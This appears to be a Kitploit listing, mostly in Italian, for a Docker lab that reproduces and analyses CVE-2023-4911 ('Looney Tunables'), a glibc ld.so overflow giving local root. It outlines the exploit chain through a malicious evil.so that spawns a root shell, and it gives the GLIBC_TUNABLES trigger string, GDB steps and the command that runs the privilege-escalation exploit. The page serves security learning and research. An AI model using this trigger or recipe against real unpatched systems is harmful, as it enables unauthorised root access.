Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2023-4911-Lab — Laboratorio basato su Docker per analizzare e sfruttare CVE-2023-4911 (Looney Tunables), un buffer overflow in glibc ld.so che porta a escalation di privilegi locale. Include PoC, analisi con GDB e ambiente di sviluppo degli exploit. | Kitploit
Strumenti/GitHubGitHub/0xmoga/cve-2023-4911-lab
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitReverse EngineeringDebuggerPenetration TestingApprendimento e FormazioneBinary ExploitationLab e Pratica
GitHub0xmoga/cve-2023-4911-lab

CVE-2023-4911-Lab

Laboratorio basato su Docker per analizzare e sfruttare CVE-2023-4911 (Looney Tunables), un buffer overflow in glibc ld.so che porta a escalation di privilegi locale. Include PoC, analisi con GDB e ambiente di sviluppo degli exploit.

4 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Vedi Repository

CVE-2023-4911 "Looney Tunables" Ambiente di analisi

Ambiente di laboratorio basato su Docker per l'analisi della vulnerabilità di buffer overflow (Local Privilege Escalation) nel loader dinamico di GNU C Library (glibc) e lo sviluppo di exploit.


Informazioni CVE

ElementoDescrizione
Numero CVECVE-2023-4911
AliasLooney Tunables
Target vulnerabileGNU C Library (glibc) 2.34 ~ 2.38
Versione vulnerabileUbuntu 22.04 — libc6 2.35-0ubuntu3.3 e precedenti
Versione patchlibc6 2.35-0ubuntu3.4 (USN-6404-1, 2023-10-04)
TipoBuffer Overflow in ld.so
ImpattoLocal Privilege Escalation (utente normale → root)
Scoperto daQualys Security Research Team

Meccanismo della vulnerabilità

Il loader dinamico di glibc (ld.so) analizza la variabile d'ambiente GLIBC_TUNABLES all'avvio del programma.
Quando viene eseguito un binario SUID, viene impostato __libc_enable_secure = 1 e ld.so entra nel percorso di codice che annulla (nullify) tale variabile d'ambiente.
In questo processo, per input del formato tunable1=tunable2=value, un errato calcolo della lunghezza causa un buffer overflow.

root@kitploit:~
일반 바이너리:  __libc_enable_secure = 0  →  nullify 코드 미진입  →  취약점 없음
SUID 바이너리:  __libc_enable_secure = 1  →  nullify 코드 진입   →  버퍼 오버플로우 발생

Flusso dell'exploit:

root@kitploit:~
GLIBC_TUNABLES 오버플로우
        ↓
ld.so BSS 영역 link_map 포인터 덮어쓰기
        ↓
라이브러리 검색 경로를 evil_lib/ 경로로 변조
        ↓
evil.so 로드 → constructor 자동 실행
        ↓
setuid(0) + execve("/bin/bash") → root shell 획득

Obiettivi e direzione dell'ambiente

Questo ambiente è progettato per andare oltre la semplice esecuzione di un PoC, con l'obiettivo di analizzare direttamente il principio di funzionamento della vulnerabilità e sviluppare un exploit.

  • Riprodurre un ambiente in cui la versione vulnerabile di glibc (2.35-0ubuntu3.3) è effettivamente in esecuzione
  • Fornire un ambiente per analizzare insieme il codice sorgente e il binario eseguibile di ld.so
  • Supporto per l'analisi dinamica tramite GDB / gef / gdbserver
  • Esercitazione pratica dello scenario di escalation dei privilegi da utente normale (researcher) a root
  • Isolamento completo tramite Docker in modo che ogni membro del team possa iniziare l'analisi nello stesso ambiente

Struttura del progetto

root@kitploit:~
CVE-2023-4911/
├── Dockerfile                  # Definizione dell'immagine dell'ambiente vulnerabile (build multi-stage)
├── run.sh                      # Script di gestione build/esecuzione Docker
├── check_environment.sh        # Verifica automatica dell'ambiente all'avvio del contenitore
├── poc/
│   ├── exploit.py              # PoC di base — per verificare il crash (SIGSEGV)
│   ├── exploit_lpe.py          # Exploit LPE — completato dopo analisi con GDB
│   └── evil_lib/
│       ├── evil.c              # Libreria condivisa malevola che esegue una root shell
│       └── Makefile
└── test_targets/
    ├── test_suid.c             # Sorgente del binario di test SUID
    └── test_heap.c             # Sorgente del binario di test per allocazione heap

Requisiti dell'ambiente

  • Docker
  • Linux o WSL2 (Windows)

Utilizzo

1. Build dell'immagine e avvio del contenitore

root@kitploit:~
./run.sh build && ./run.sh run

2. Inserimento della password sudo

All'avvio del contenitore viene richiesta la password sudo.

root@kitploit:~
비밀번호: password

3. Verifica della vulnerabilità

root@kitploit:~
# Verifica se si verifica SIGSEGV
python3 /workspace/poc/exploit.py --check-only

# Attivazione diretta
GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA \
  /workspace/test_targets/test_suid

4. Analisi con GDB

root@kitploit:~
# Analisi diretta all'interno del contenitore
gdb -q /workspace/test_targets/test_suid

# Debug remoto (gdbserver)
# All'interno del contenitore
gdbserver :1234 /workspace/test_targets/test_suid

# Host locale
gdb
(gdb) target remote localhost:1234

5. Esecuzione dell'exploit LPE

Dopo aver analizzato OVERFLOW_OFFSET e TARGET_ADDR con GDB, aggiornare i valori all'inizio di exploit_lpe.py ed eseguirlo.

root@kitploit:~
python3 /workspace/poc/exploit_lpe.py

Opzioni di run.sh


Informazioni sull'ambiente di analisi


Punti di analisi

Analisi statica

root@kitploit:~
# Posizione della funzione vulnerabile
/workspace/glibc-source/elf/dl-tunables.c

# Funzioni principali
__tunables_init()   # Punto di ingresso
parse_tunables()    # Punto in cui si verifica l'overflow
tunables_strdup()   # Allocazione del buffer

Analisi dinamica

root@kitploit:~
# Tracciamento delle chiamate di sistema con strace
strace -e trace=mmap GLIBC_TUNABLES="..." /workspace/test_targets/test_suid

# Analisi di __tunables_init con GDB
gdb /workspace/test_targets/test_suid
(gdb) break __tunables_init
(gdb) set environment GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=AAAA
(gdb) run

Avvertenze

Questo ambiente deve essere utilizzato solo per scopi educativi e di ricerca sulla sicurezza.

  • Questo ambiente è stato creato per l'apprendimento delle vulnerabilità e la ricerca sullo sviluppo di exploit.
  • Non utilizzarlo mai su sistemi in produzione o su bersagli non autorizzati.
  • Il contenitore viene eseguito in modalità --privileged, quindi utilizzarlo solo in ambienti isolati.
  • Ogni responsabilità legale derivante dall'abuso del codice di questo repository è esclusivamente dell'utente.

Riferimenti

  • Avviso di sicurezza di Qualys
  • Repository ufficiale di glibc
  • Ubuntu Security Notice USN-6404-1
Scarica lo strumento
ComandoDescrizione
./run.sh buildBuild dell'immagine Docker
./run.sh runAvvia il contenitore in modalità interattiva
./run.sh analysisEsegue la modalità di analisi
./run.sh testVerifica rapida della vulnerabilità
./run.sh cleanPulisce immagini e contenitori
ElementoDescrizione
Immagine baseubuntu:jammy-20230916 (pre-patch)
Versione glibc2.35-0ubuntu3.3 (vulnerabile)
Versione ld.so2.35-0ubuntu3.3 (vulnerabile)
Account di analisiresearcher / password
Sorgente glibc/workspace/glibc-source (2.35)
Porta principale1234 (gdbserver)
Opzioni del contenitore--privileged, --pid=host